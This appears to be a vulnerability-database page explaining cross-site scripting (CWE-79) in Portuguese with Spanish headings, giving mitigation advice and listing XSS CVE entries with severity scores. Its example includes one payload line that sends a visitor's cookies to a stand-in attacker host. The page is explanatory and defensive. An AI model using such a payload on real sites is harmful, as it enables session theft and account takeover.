Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-6488MEDIUMisMobile <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via device ParameterEPSS 0.3%CVE-2024-56301HIGHWordPress Distance Based Shipping Calculator Plugin <= 2.0.21 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-20076MEDIUMCisco Identity Services Engine Stored Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2025-27305MEDIUMWordPress Table of Contents Block plugin <= 1.0.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-0739MEDIUMWMF Mobile Redirector <= 1.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via Settings ParametersEPSS 0.3%CVE-2025-13960MEDIUMGPXpress <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2026-41576HIGHAjax30/BraveCMS-2.0: Stored HTML Injection in Contact Email via nl2br() and Unescaped Blade TemplateEPSS 0.3%CVE-2025-13889MEDIUMSimple Nivo Slider <= 0.5.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.3%CVE-2024-39311LOWPublify Vulnerable To Cross-Site Scripting (XSS) Via Redirects Requiring User InteractionEPSS 0.3%CVE-2024-43975HIGHWordPress Super Store Finder plugin <= 6.9.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-48486MEDIUMFreeScout Vulnerable to Stored XSSEPSS 0.3%CVE-2025-47086MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-53283MEDIUMImproper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in Router Port Forward functionality in SEPSS 0.3%CVE-2024-43958HIGHWordPress Into The Dark theme <= 1.0.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-44003HIGHWordPress Spice Starter Sites plugin <= 1.2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-50430MEDIUMWordPress Beaver Builder plugin <= 2.8.3.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-13377MEDIUMWatchGuard Firebox Stored Cross-Site-Scripting (XSS) Vulnerability in SIP Proxy ConfigurationEPSS 0.3%CVE-2024-6380HIGHReflected Cross-site Scripting (XSS) vulnerability affecting ENOVIA Collaborative Industry Innovator from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2024-48068MEDIUMA cross-site scripting (XSS) vulnerability in Shenzhen Landray Software Co.,LTD Landray EKP v16 and earlier allows attackers to execute arbiEPSS 0.3%CVE-2025-48487MEDIUMFreeScout Vulnerable to Stored XSSEPSS 0.3%